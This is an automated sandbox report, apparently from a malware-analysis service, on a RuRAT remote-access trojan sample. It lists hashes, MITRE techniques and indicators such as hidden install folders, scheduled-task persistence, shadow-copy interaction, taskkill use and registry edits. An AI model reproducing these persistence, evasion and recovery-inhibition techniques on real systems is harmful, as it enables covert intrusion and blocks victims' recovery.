rurat | 6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6

Analysis

max time kernel
151s
max time network
150s
platform
windows10_x64
resource
win10v20210408
submitted
19/09/2021, 10:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe
Size 9.7MB
Sample210919-mstsvseedr
SHA256 6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6
MD5 dd8b9e9cb89eccf995d98d58657ea3f0
SHA1 4531307bfb9ee6df43255fcadac34d2ce87d5920
SHA512 d6d32c0572bfad481c7ee277eacd621ff6022e631d4d596cd11983adba3cb368eae19c5eff9a24a86ce3ea8f43f825a64c765ad876d73cae0519c921afbb4755
MD5 SHA1 SHA512

Score

10^/10

rurat backdoor discovery evasion persistence ransomware trojan

Malware Config

Signatures

RuRAT
RuRAT is a remote admin tool sold as legitimate software but regularly abused in malicious phishing campaigns.
trojan backdoor rurat
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1192	msiexec.exe
4	1192	msiexec.exe

Executes dropped EXE 8 IoCs

pid	Process
2388	rfusclient.exe
2496	rutserv.exe
3432	rutserv.exe
3896	rutserv.exe
3580	rutserv.exe
1608	rfusclient.exe
1328	rfusclient.exe
3836	rfusclient.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	rfusclient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	rfusclient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	rfusclient.exe

Loads dropped DLL 9 IoCs

pid	Process
1872	MsiExec.exe
2496	rutserv.exe
2496	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2428	icacls.exe
3752	icacls.exe
2480	icacls.exe
3488	icacls.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DA3B6E45325D5FFF28CF6BAD6065C907_6D5B8E0D46046FC4C98A958D41A4CFB6	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C86BD7751D53F10F65AAAD66BBDF33C7	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DA3B6E45325D5FFF28CF6BAD6065C907_6D5B8E0D46046FC4C98A958D41A4CFB6	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C86BD7751D53F10F65AAAD66BBDF33C7	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	rutserv.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\stdnames_vpd.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rup.ini	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\ntprint.inf	msiexec.exe
File opened for modification	C:\Program Files (x86)\Remote Utilities - Host	attrib.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\rupui2.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Hebrew.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\French.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\webmvorbisdecoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\rup_s.lng	msiexec.exe
File opened for modification	C:\Program Files (x86)\Remote Utilities - Host\libeay32.dll	cmd.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Monitor\x64\drvinstaller64.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Danish.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\ruppm.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\Remote Utilities - Host\Logs\rut_log_2021-09.html	rutserv.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Portuguese, Brazilian.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\RIPCServer.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Chinese Traditional.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\fwproc.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\rup.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Logs\rut_log_2021-09.html	rutserv.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Monitor\x64\lockscr.sys	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\vp8encoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\webmvorbisencoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\VPDAgent.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Monitor\x64\lockscr.inf	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Czech.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Norwegian.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Chinese Simplified.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\unidrv_rup.hlp	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\unires_vpd.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\uninstall.cmd	msiexec.exe
File opened for modification	C:\Program Files (x86)\Remote Utilities - Host\RFUSCL~1.EXE	cmd.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\RWLN.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\progress.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\ruppm.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Japanese.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Swedish.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\unidrv_rup.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\ntprint.inf	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\fwproc_x64.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rup.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rup.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rup_s.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Monitor\x86\lockscr.inf	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\German.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Dutch.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\VPDAgent_x64.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\EULA.rtf	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Italian.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Portuguese.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\ssleay32.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\progress.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rupui2.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\rupui.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\vp8decoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Korean.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\install.cmd	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\unidrvui_rup.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x64\unidrv_rup.hlp	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Monitor\x86\drvinstaller32.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\rup.ini	msiexec.exe
File created	C:\Program Files (x86)\Remote Utilities - Host\Printer\x86\srvinst.exe	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\EDIT_R~2.AAP	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\INFO~1.PLI	cmd.exe
File opened for modification	C:\windows\installer\{1E4AB~1\ARPPRO~1.EXE	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\Checkers.api	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\CYRILLIC.TXT	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\JSBYTE~1.BIN	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\Spelling.api	cmd.exe
File opened for modification	C:\windows\installer\3d21.msp	cmd.exe
File created	C:\Windows\Installer\{1E4AB2FC-B243-45C2-BF6A-A027213183CD}\en_server_settings_E3BFC76BE38F4CF79D2ED7163B7DECEE.exe	msiexec.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\1926E8~1\100~1.402\F_727A~1	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\AXE8SH~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\PDDOM~1.API	cmd.exe
File opened for modification	C:\Windows\Installer\{1E4AB2FC-B243-45C2-BF6A-A027213183CD}\UNINST_Uninstall_R_3B1E3C8B7D0945898DA82CEEED02F0C7.exe	msiexec.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\CP1253.TXT	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\READER~1.EXE	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\TRACKE~1.AAP	cmd.exe
File opened for modification	C:\windows\installer\{AC76B~1\PDFFIL~1.ICO	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\CP1252~1.TXT	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\drvSOFT.x3d	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\GREEK.TXT	cmd.exe
File opened for modification	C:\windows\installer\11c38.msp	cmd.exe
File opened for modification	C:\windows\installer\{1E4AB~1\EN_SER~2.EXE	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ROMAN~1.TXT	cmd.exe
File created	C:\Windows\Installer\{1E4AB2FC-B243-45C2-BF6A-A027213183CD}\en_server_stop_B603677802D142C98E7A415B72132E14.exe	msiexec.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\adobepdf.xdc	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\CRYPTO~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\Flash.mpp	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\JP2KLib.dll	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\dummy.dic	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\LOGTRA~1.EXE	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\CACHES~1.TXT	cmd.exe
File opened for modification	C:\Windows\Installer\13a16.msi	msiexec.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ACROCE~1.15E	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ACROPD~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\COMDLL~1.MAN	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\CP1251.TXT	cmd.exe
File opened for modification	C:\windows\installer\{AC76B~1\SECSTO~1.ICO	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\RDRSER~1.EXE	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\weblink.api	cmd.exe
File opened for modification	C:\windows\installer\{AC76B~1\PDXFIL~1.ICO	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ACROFO~1.API	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ADOBEP~1.PMP	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\BIB~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\DVA.api	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\EPDF_R~1.AAP	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ADOBEA~2.BDC	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\000061~2\160~1.125\VCCORL~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\AiodLite.dll	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\LIBCEF~1.15E	cmd.exe
File opened for modification	C:\windows\installer\{1E4AB~1\EN_SER~3.EXE	cmd.exe
File opened for modification	C:\windows\installer\{AC76B~1\SC_REA~1.ICO	cmd.exe
File created	C:\Windows\Installer\SourceHash{1E4AB2FC-B243-45C2-BF6A-A027213183CD}	msiexec.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\1926E8~1\100~1.402\F_31C8~1	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\ADOBEA~1.BDC	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\DISPLA~2.EN_	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\dummy.aff	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\000061~2\160~1.125\VCRUNT~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\1926E8~1\100~1.402\F_CENT~1	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\EScript.api	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\LOGSES~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\NPPDF3~1.DLL	cmd.exe
File opened for modification	C:\windows\installer\$PATCH~1\Managed\68AB67~1\157~1.200\SYMBOL~1.TXT	cmd.exe
File opened for modification	C:\windows\installer\{1E4AB~1\UNINST~1.EXE	cmd.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3860	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3916	timeout.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
3148	vssadmin.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
3560	taskkill.EXE
1860	taskkill.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	rutserv.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	rutserv.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	rutserv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@C:\Windows\SysWOW64\FirewallControlPanel.dll,-12122 = "Windows Firewall"	rutserv.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	rutserv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	rutserv.exe

Modifies registry class 29 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Media\1 = "DISK1;1"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Media	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17\CF2BA4E1342B2C54FBA60A72121338DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\all\\"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Net	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CF2BA4E1342B2C54FBA60A72121338DC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CF2BA4E1342B2C54FBA60A72121338DC\RMS	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\PackageCode = "3C6C8D9720EF0DE47B255F5ABE742407"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\ProductName = "Remote Utilities - Host"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\PackageName = "msi.msi"	msiexec.exe
